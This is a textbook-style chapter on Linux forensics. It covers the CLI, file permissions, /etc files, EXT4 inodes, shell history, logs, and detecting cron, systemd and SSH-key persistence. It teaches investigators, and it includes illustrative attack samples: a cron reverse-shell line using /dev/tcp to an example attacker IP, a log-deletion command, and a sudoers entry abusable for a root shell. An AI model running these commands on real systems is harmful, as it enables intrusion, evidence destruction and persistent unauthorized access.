CH11: Linux Forensics

Chapter Overview

In the previous phases of this course, we focused heavily on Microsoft Windows. This was intentional; Windows dominates the corporate desktop environment. However, when we shift our focus to Server Environments, Cloud Infrastructure (AWS/Azure), and IoT Devices, the landscape changes dramatically. In these domains, Linux is king.

Investigating a Linux system requires a shift in mindset. There is no Registry to parse. There is no Master File Table (MFT). Instead, you are entering a world where "Everything is a File." Configuration is done via text files, not databases. User activity is logged in shell history, not "UserAssist" keys.

This chapter introduces the fundamental skills required to investigate Linux systems. We will start with a broad overview of the Linux ecosystem, including distributions and package managers. We will then master the Command Line Interface (CLI), explore the EXT4 file system, decode critical configuration files in /etc, analyze logs, and hunt for persistence mechanisms like Cron jobs and SSH backdoors.

Learning Objectives

By the end of this chapter, students will be able to:

Identify major Linux distributions relevant to cybersecurity (Kali, SIFT, REMnux).
Explain the concept of Package Managers (APT) and Repositories compared to Windows installers.
Navigate the Linux file system using fundamental CLI commands (ls, cd, cat, grep).
Distinguish between Absolute and Relative paths when accessing files outside the current directory.
Interpret Linux file permissions (rwx) to identify insecure files (e.g., "777" permissions).
Differentiate between the Windows Registry and Linux Configuration files (/etc/).
Analyze the EXT4 file system structure, specifically Inodes and Journaling (JBD2).
Reconstruct user activity by parsing .bash_history and .viminfo files.
Interpret critical Linux logs (auth.log, syslog) and utilize zgrep to search compressed archives.
Detect persistence mechanisms involving Cron Jobs, Systemd services, and SSH authorized_keys.

11.1 Introduction to the Linux Ecosystem

Before typing commands, it is critical to understand what Linux actually is. Unlike Windows or macOS, which are single commercial products, Linux is a family of open-source operating systems based on the Linux Kernel.

11.1.1 Open Source and the Kernel

"Open Source" means the source code—the human-readable recipe for the software—is freely available for anyone to view, modify, and distribute.

The Kernel: The core of the OS that talks to the hardware (CPU, RAM, Disk).
The Userspace: The tools and interface (GUI or CLI) that the user interacts with.

Because the code is open, anyone can bundle the kernel with a different set of tools to create their own "flavor" of Linux. These flavors are called Distributions (or Distros).

11.1.2 Common Distributions in Forensics

While there are hundreds of Linux distros, forensic investigators typically encounter (or use) a specific few.

Debian / Ubuntu: The most popular "base" distributions. They are user-friendly, stable, and power the vast majority of web servers and cloud instances you will investigate.
Red Hat Enterprise Linux (RHEL) / CentOS: The corporate standard. You will frequently encounter these in large enterprise server rooms.
Kali Linux: The industry standard for Offensive Security (Penetration Testing). It comes pre-loaded with hundreds of hacking tools. While primarily for attackers, it contains forensic tools (like autopsy and volatility) and is often used by "Red Teams."
SIFT Workstation (SANS Investigative Forensic Toolkit): The gold standard for Digital Forensics. It is an Ubuntu-based distribution customized by the SANS Institute. It comes pre-loaded with every forensic tool you need (Timeline analysis, Registry parsing, Disk imaging) and is designed strictly for analysis, not attacking.
REMnux: A specialized distribution designed for Reverse Engineering Malware. It is used to safely detonate and analyze viruses in an isolated environment.

11.1.3 Package Managers and Repositories

In Windows, if you want to install software (e.g., Chrome), you go to a website, download an .exe file, and run it. In Linux, we use a Package Manager.

Think of a Package Manager as an "App Store" that existed decades before smartphones. The software is hosted in trusted, public servers called Repositories.

The APT Command (Advanced Package Tool): On Debian-based systems (Ubuntu, Kali, SIFT), we use apt.

sudo apt update: "Go to the repository and check for a new list of available software." (This does not install anything; it just updates the catalog).
sudo apt upgrade: "Compare my installed software to the catalog and update anything that is old."
sudo apt install [toolname]: "Download and install this tool from the repository."

Forensic Implication: If you are investigating a Linux machine and see a log of apt install nmap, you know the user reached out to a public repository to install a network scanner.

11.2 Linux Basics: Survival Skills

Evidence on Linux is rarely retrieved with a mouse click. You must be comfortable in the Command Line Interface (CLI) or Terminal.

11.2.1 Case Sensitivity

The first rule of Linux is that it is Case Sensitive.

In Windows, File.txt and file.txt are the same file.
In Linux, File.txt, file.txt, and FILE.TXT are three different files that can exist in the same folder.
Forensic Tip: If you search for "Password" but the file is named "password", you will find nothing. Always be precise.

To investigate, you need to know "Where am I?" and "What is here?"

pwd (Print Working Directory): Tells you your current location (e.g., /home/investigator).
ls (List): Lists the files in the current directory.
- ls -l: Long listing (shows permissions, owner, size, time).
- ls -a: All files (shows hidden files that start with a dot, like .bash_history).
cd (Change Directory): Moves you to a new folder.
- cd /var/log: Moves into the log folder.
- cd ..: Moves "up" one level (back to the parent folder).
cat (Concatenate): Prints the contents of a file to the screen.
- cat auth.log: Dumps the text of the log file.
nano: A simple, terminal-based text editor often used to view or modify files.

11.2.3 Absolute vs. Relative Paths

Often, you need to access a file (like a log) while you are sitting in a completely different directory. You do this using Paths.

Absolute Path: The full address, starting from the Root (/). It works no matter where you currently are in the system.
- Example: cat /var/log/auth.log (This will always open the auth log, even if you are in the /home folder).
Relative Path: The address relative to your current location. It does not start with a /.
- Example: If you are already inside /var, you can simply type cat log/auth.log.
The Dots:
- . (Single Dot): Represents the Current Directory.
- .. (Double Dot): Represents the Parent Directory (Up one level).

11.2.4 Understanding File Permissions

Linux security relies on Permissions (Read, Write, Execute). When you investigate a compromised server, finding a file with "loose" permissions is often the smoking gun that explains how the attacker got in or persisted.

Reading Permissions: Run ls -l and you will see a string like -rwxr-xr-x. This is divided into three sets:

User (Owner): The first set (rwx) - What the owner can do.
Group: The second set (r-x) - What the group members can do.
World (Others): The third set (r-x) - What everyone else can do.

The "777" Danger: Permissions can also be represented by numbers (Read=4, Write=2, Execute=1).

7: Read + Write + Execute (4+2+1).
777: This means everyone on the system (User, Group, and World) can read, write, and execute that file.
Forensic Significance: If you find a web server directory or a script set to 777, it is a massive vulnerability. Attackers often change permissions to 777 to ensure their malware runs regardless of which user is logged in.

11.2.5 The Investigator's Cheat Sheet

Below is a table of commands every forensic analyst should know.

Command	Description	Windows Equivalent
`ls -lah`	List all files (including hidden), with details and human-readable sizes.	`dir`
`cd <path>`	Change directory.	`cd`
`pwd`	Show current directory path.	Address Bar
`cat <file>`	Display file content.	`type`
`grep "text" <file>`	Search for specific text inside a file.	`findstr`
`head <file>`	Show only the first 10 lines of a file.	N/A
`tail <file>`	Show only the last 10 lines (great for checking recent logs).	N/A
`cp <source> <dest>`	Copy a file.	`copy`
`mv <source> <dest>`	Move (or rename) a file.	`move`
`rm <file>`	Remove (delete) a file. Use with caution.	`del`
`chmod <mode> <file>`	Change file permissions (e.g., `chmod 777 bad.sh`).	`icacls`
`mount`	Show connected drives and partitions.	Disk Management

11.2.6 Linux Pro Tips: Working Faster

Professional investigators do not type every single character. They use shortcuts to work efficiently.

Tab Autocomplete: Never type a full filename. Type the first few letters (e.g., cd Des) and press Tab. Linux will finish the word for you (cd Desktop/). If it stops, press Tab twice to see all matching options.
Command History: Don't retype long commands. Press the Up Arrow key to cycle through your previously executed commands.
The history Command: Type history to see a numbered list of everything you have typed in the current session. You can re-run a specific command (e.g., #50) by typing !50.
Piping (|): You can send the output of one command into another using the pipe symbol.
- Example: cat auth.log | grep "Failed" (First read the log, then search it for the word "Failed").
Man Pages: Need help? Type man <command> (e.g., man ls) to read the manual page for that tool. Press q to quit the manual.
Clear Screen: Screen cluttered? Type clear or press Ctrl+L to wipe the terminal clean.
Stop Process: If a command is stuck or running too long, press Ctrl+C to kill it immediately.

Hands-On Activity: Practice Linux CLI Basics

11.3 System Configuration: No Registry Here

One of the biggest shocks for Windows investigators moving to Linux is the absence of a Registry. There are no hives, keys, or binary blobs managing the OS settings.

In Linux, configuration is stored in plain text files located in the /etc/ directory.

11.3.1 Critical Configuration Files

If you need to know the system's hostname, the users on the box, or the IP address, you simply read the text file.

File Path	Description	Forensic Value
/etc/passwd	List of user accounts.	Contains usernames, User IDs (UID), and home directory paths.
/etc/shadow	Password hashes.	Contains the actual encrypted password hashes (requires Root to read).
/etc/group	User groups.	Shows which users belong to the "sudo" or "wheel" (admin) groups.
/etc/hostname	System Name.	Identifies the machine (e.g., `web-server-01`).
/etc/hosts	Local DNS overrides.	Malware often modifies this to redirect traffic (e.g., pointing `google.com` to a malicious IP).
/etc/sudoers	Admin privileges.	Defines WHO is allowed to run commands as root (see Section 11.6).
/etc/fstab	File System Table.	Lists drives that mount automatically at boot. Can reveal hidden partitions.
/etc/timezone	Timezone setting.	Critical for timeline reconstruction.

11.3.2 The Pseudo-Filesystems: `/proc` and `/sys`

Linux exposes kernel and hardware information as "files" that don't actually exist on the hard drive. They exist only in RAM.

/proc (Process Information): This directory contains a folder for every running process ID (PID).
- /proc/meminfo: Details about RAM usage.
- /proc/1000/cmdline: Shows the exact command that started process #1000.
- Forensic Note: This is essentially a live view of the kernel. If you copy /proc during a live acquisition, you are capturing volatile data similar to a memory dump.
/sys (System): Contains information about hardware devices and drivers.

11.4 Linux File Systems: EXT4

While Windows relies on NTFS, most modern Linux distributions use the Fourth Extended Filesystem (EXT4). To recover deleted data or interpret timestamps on Linux, you must understand how EXT4 organizes data.

11.4.1 The Inode (Index Node)

In NTFS, the MFT Record contains everything about a file (name, size, timestamps, data location). In Linux, this metadata is separated from the filename.

The Filename: Stored in the Directory data structure. It essentially says, "The file named 'report.txt' corresponds to Inode #12345."
The Inode: Stored in the Inode Table. Inode #12345 contains the file's size, permissions, timestamps, and pointers to the disk blocks where the data lives. Crucially, the Inode does not contain the filename.

Forensic Implication: When a file is deleted in Linux, the link between the filename and the Inode is severed. The Inode is marked as "free." If you recover a deleted file based solely on the Inode, you might get the file contents back, but you will often lose the original filename (e.g., recovering file001.jpg instead of evidence.jpg).

11.4.2 EXT4 Timestamps (MAC + D)

Linux tracks timestamps differently than Windows. In EXT4, we look for MACD:

Modification (mtime): When the file's content was last written to.
Access (atime): When the file was last read. (Note: Modern Linux often disables strict atime updates to improve performance, using relatime instead).
Change (ctime): When the file's metadata (Inode) changed. This updates if you change permissions (chmod) or ownership (chown), even if you don't touch the data.
Deletion (dtime): Uniquely, EXT4 records the time a file was deleted in the Inode.

11.4.3 Journaling (JBD2)

EXT4 is a Journaling File System. Before writing changes to the disk, the OS writes a record of "what I am about to do" to a journal (usually a hidden file or section called JBD2).

Forensic Value: If a suspect tries to delete logs and then pulls the plug, the data might be gone from the main disk, but the intent or even the data itself might still exist in the Journal.

11.5 User Activity: The Shell History

In Linux, users interact with the system primarily through the Shell (Command Line). The history of these commands is the single most valuable artifact for reconstructing user behavior.

11.5.1 .bash_history

The default shell for most Linux systems is Bash. Every command a user types is recorded in a hidden text file in their home directory: ~/.bash_history.

Typical Artifact Location: /home/<username>/.bash_history or /root/.bash_history

Example Content:

nmap 192.168.1.50
ssh root@192.168.1.50
ftp 192.168.1.50
rm /var/log/auth.log

In this example, we see the user scanning a target, logging in via SSH, connecting via FTP, and then attempting to delete forensic evidence.

The Timestamp Problem: By default, .bash_history often stores only the command, not the time it was executed. However, if the system variable HISTTIMEFORMAT is configured, timestamps are recorded. As an investigator, you must check the user's configuration file (.bashrc) to see if timestamping was enabled.

11.5.2 Viminfo (The Text Editor)

Linux users often edit configuration files using text editors like Vi or Vim. These editors maintain a history file located at ~/.viminfo.

Forensic Value:

Search History: It records strings the user searched for (e.g., searching for "password" inside a config file).
Edited Files: It lists files the user opened. If a hacker edits the /etc/passwd file to add a user, .viminfo will verify they opened that specific file.

11.6 Log Analysis: The "Event Viewer" of Linux

Linux does not use the binary .evtx format found in Windows. Instead, it uses plain text logs, typically aggregated in the /var/log directory.

11.6.1 The Standard Log Format

Most logs follow the Syslog standard structure: [Timestamp] [Hostname] [Daemon/Process]: [Message]

Nov 15 09:15:01 webserver sshd[1234]: Failed password for invalid user admin from 10.0.0.5 port 44321

11.6.2 Critical Log Files

You should prioritize the analysis of these files:

Log File	Purpose	What to Look For
/var/log/auth.log (Debian/Ubuntu) /var/log/secure (RHEL/CentOS)	Authentication events (SSH, Sudo, Local Login).	"Failed password" (Brute Force), "Accepted password" (Compromise), "New session" (Movement).
/var/log/syslog (Debian) /var/log/messages (RHEL)	General system activity.	Service crashes, kernel errors, USB device insertion events.
/var/log/apache2/access.log /var/log/nginx/access.log	Web Server traffic.	SQL Injection attempts in URLs, User-Agent strings from scanning tools.
/var/log/wtmp	Login History (Binary)	This is NOT a text file. It tracks logins, logouts, and reboots. Use the `last` command to view it.

11.6.3 Log Rotation (Dealing with .gz)

Unlike Windows Event logs which overwrite themselves when full, Linux uses Log Rotation. The system automatically archives old logs to save space.

Current Log: auth.log
Yesterday's Log: auth.log.1
Last Week's Log: auth.log.2.gz (Compressed)

Forensic Tip: Do not ignore the .gz files! Evidence of the initial breach might be weeks old. You can search these files without unzipping them using zgrep and view them using zcat.

11.6.4 The `last` Command

To quickly see who has logged into the system, investigators use the last command. This reads the binary /var/log/wtmp file.

Command: last Output:

root     pts/0        192.168.1.50     Tue Nov 15 09:00   still logged in
john     tty1                          Mon Nov 14 14:00 - 14:05  (00:05)
reboot   system boot  5.4.0-42-generi  Mon Nov 14 13:55   still running

This output instantly tells you that "root" is currently logged in from IP 192.168.1.50, which might be the attacker's machine.

11.6.5 Detecting Sudo Abuse (Privilege Escalation)

In Linux, users use Sudo ("SuperUser Do") to execute commands with Root (Administrator) privileges.

The Sudoers File (/etc/sudoers) To determine who is allowed to use Sudo, you must examine /etc/sudoers.

Normal Entry: %admin ALL=(ALL) ALL (Users in the admin group can run anything).
Dangerous Entry: john ALL=(root) NOPASSWD: /bin/vim
- This entry allows user "john" to run the vim text editor as root without a password. John can use this to open /etc/shadow or spawn a root shell, bypassing all security.

Log Evidence: Check auth.log for the string COMMAND.

Nov 15 10:00:00 ubuntu sudo:  john : TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/bin/cat /etc/shadow

* Analysis: User "john" used sudo to run the command cat /etc/shadow. Since /etc/shadow contains the system's password hashes, this is clear evidence of credential theft.

11.7 Persistence Mechanisms

Once an attacker compromises a Linux server, they want to stay there. Unlike Windows, where malware hides in the Registry Run Keys, Linux malware hides in Cron or Systemd.

11.7.1 Cron Jobs (The Task Scheduler)

Cron is the Linux utility for scheduling tasks to run at specific times (e.g., backups). Malware uses it to "call home" (Beacon) every hour or reinstall itself if deleted.

Artifacts to Check:

User Crontabs: /var/spool/cron/crontabs/ (Specific to each user).
System Crontab: /etc/crontab (System-wide tasks).
Hourly/Daily/Monthly Folders: /etc/cron.hourly, /etc/cron.daily, etc.

Suspicious Entry:

* * * * * /bin/bash -c "bash -i >& /dev/tcp/192.168.1.5/4444 0>&1"

This is a "Reverse Shell." It tells the system to connect to the attacker's IP (192.168.1.5) every single minute.

11.7.2 Systemd Services

Modern Linux uses Systemd to manage services that start at boot. Attackers create malicious service files (ending in .service) to masquerade as legitimate software.

Location: /etc/systemd/system/ or /lib/systemd/system/ Investigation: Look for service files with odd names (e.g., network-helper.service) that execute scripts in /tmp or /home.

11.7.3 SSH Authorized Keys (The Backdoor)

This is the most common persistence method in cloud environments. Secure Shell (SSH) allows users to log in using a "Private Key" instead of a password. The public half of this key is stored on the server in ~/.ssh/authorized_keys.

The Attack: If an attacker gains access for even one minute, they can paste their public key into the victim's authorized_keys file. The Result: The attacker can now log in as that user anytime they want, without needing a password, and the password change won't stop them.

11.8 Chapter Summary

Linux forensics presents a unique challenge that requires moving away from GUI-based tools and understanding the underlying text-based configuration of the OS.

We started with Linux Basics, learning that navigation relies on CLI commands like ls and cd. We discovered that unlike Windows, Linux stores configuration in plain text files within /etc/. We analyzed the EXT4 file system, which separates file metadata (Inodes) from filenames. We broke down the structure of Linux logs, prioritizing /var/log/auth.log for tracking unauthorized access. Finally, we examined how attackers maintain access (Persistence) by injecting malicious jobs into Cron or planting cryptographic keys in SSH configuration files.

Key Terms Review

CLI (Command Line Interface): The primary method for interacting with Linux.
Inode: The data structure in EXT4 that holds file metadata but not the filename.
Bash History: A file (.bash_history) recording the commands executed by a user.
Auth.log: The log file recording authentication and sudo events.
/etc/passwd: Stores user account information (but not passwords).
/etc/shadow: Stores encrypted password hashes.
/etc/sudoers: Configuration file determining which users have administrative rights.
Cron: The Linux job scheduler.
SSH Authorized Keys: A file containing public keys allowed to log into a user account.